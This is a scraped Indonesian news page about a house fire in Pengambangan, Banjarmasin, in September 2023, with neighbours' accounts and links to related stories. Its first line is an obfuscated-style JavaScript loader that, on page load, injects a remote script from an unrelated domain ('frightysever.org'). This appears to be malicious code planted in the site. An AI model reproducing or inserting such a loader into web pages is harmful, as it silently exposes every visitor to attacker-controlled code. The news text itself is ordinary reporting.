(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Musibah kebakaran kembali terjadi di Kota Seribu Sungai, tepatnya di jalan Simpang Babagi RT 6 RW 2, Kelurahan Pengambangan, Kecamatan Banjarmasin Timur, Kota Banjarmasin, Jumat (1/9/2023) siang.
Api yang diketahui mulai berkobar sekitar pukul 12.30 Wita tersebut melahap habis rumah milik Masyanto yang dihuni 8 orang. Lokasi rumah masuk jalan sempit di Gang Hantaran.
Pa Anang (50), warga yang tinggal berdekatan dengan rumah yang terbakar mengaku kaget saat melihat asap tebal membubung tinggi persis di wilayah tempat tinggalnya.
Baca juga: Rumah Tarmiji Tinggal Arang, Selamatkan Hp Malah Hilang, Padi Baru Panen Ikut Terbakar
Rumah yang terbakar di Pengambangan, Kecamatan Banjarmasin Timur, Kota Banjarmasin, Jumat (1/9/2023) siang. Foto: rizki
Saat itu, ia mengaku sedang berada di masjid tidak jauh dari rumahnya untuk melaksanakan shalat Jumat. Tanpa menunggu shalat Jumat selesai ia langsung lari dengan terbirit-birit menuju rumahnya.
“Langsung bukah bulik (lari pulang), kada (tidak) jadi sembahyang di masjid tadi,” ungkap Pa Anang.
Sebab awalnya ia mengira asap tebal itu dari rumahnya, ternyata dari rumah milik Masyanto yang hanya berjarak 10 meter dari rumah kayu tempat tinggalnya.
“Menyelamatkan barang sorang ai dulu, kalau yang rumah terbakar itu sudah banyak pemadam tadi,” kata Pa Anang.
Baca juga: Urung ‘Bersanding’ Koalisi Perubahan Pecah, Baliho Anies-AHY di Banjarmasin Diturunkan
Beda pengakuan dengan Janainah (60) yang saat terjadi kebakaran sedang berada di rumah bersama anak dan cucunya. Rumahnya hanya terpisah sejengkal dari rumah yang hangus terbakar.
Saat mendengar teriakan api dari tetangga, ia langsung lari keluar rumah untuk menyelamatkan diri tanpa memikirkan harta benda yang ada di rumahnya.
“Aku langsung bukah (lari) keluar, kada (tidak) tau lagi kisah biar harta di rumah,” ucapnya.
Baca juga: Empat Kapolsek dan Dua Kasat di Polresta Banjarmasin Berganti
Perempuan paruh baya ini menceritakan bagaimana api dengan sangat cepat berkobar di rumah tetangganya saat terik matahari, tepat waktu para lelaki sedang melaksanakan shalat Jumat di masjid.
“Lalakiannya (para lelaki) dadaan (tidak ada), urang bakuciakan (berteriakan) kadada yang datangnya sempat jadi api,” kata Janainah sambil menggambar suasana.
Beruntung, rumahnya yang juga terbuat dari kayu itu hanya terbakar ringan di bagian dapur dan semua barang-barang di rumahnya masih aman tidak dilalap api.
Baca juga: Jaringan Besar Peredaran Narkoba Masuk ke Banjarbaru
Antara sedih dan bersyukur, Janainah hanya dapat duduk di pelataran rumah sambil meratapi tempat tinggalnya itu masih selamat dari api yang beberapa jam lalu mengamuk.
“Alhamdulillah,” ucapnya berkali-kali.
Sementara itu, lokasi kebakaran nampak sudah dipasangi garis polisi. Beberapa orang terlihat berusaha mencari barang yang masih bisa diselamatkan pada rumah yang terbakar.
Hingga saat ini belum diketahui penyebab kebakaran dan juga belum diketahui berapa kerugian materil akibat kebakaran menghanguskan sebuah rumah tersebut.(Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ikatan Mahasiswa Banjarmasin (Ikmaban) menyalurkan bantuan kepada warga terdampak banjir di Desa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob atau banjir pasang pesisir yang melanda kawasan Sungai Gampa, Kelurahan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel), H Muhidin, instruksikan seluruh Kepala Satuan Kerja Perangkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Banjir yang menggenangi Jalan Kelayan Besar, RT 04, Kelurahan Tanjung Pagar, Kecamatan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More
This website uses cookies.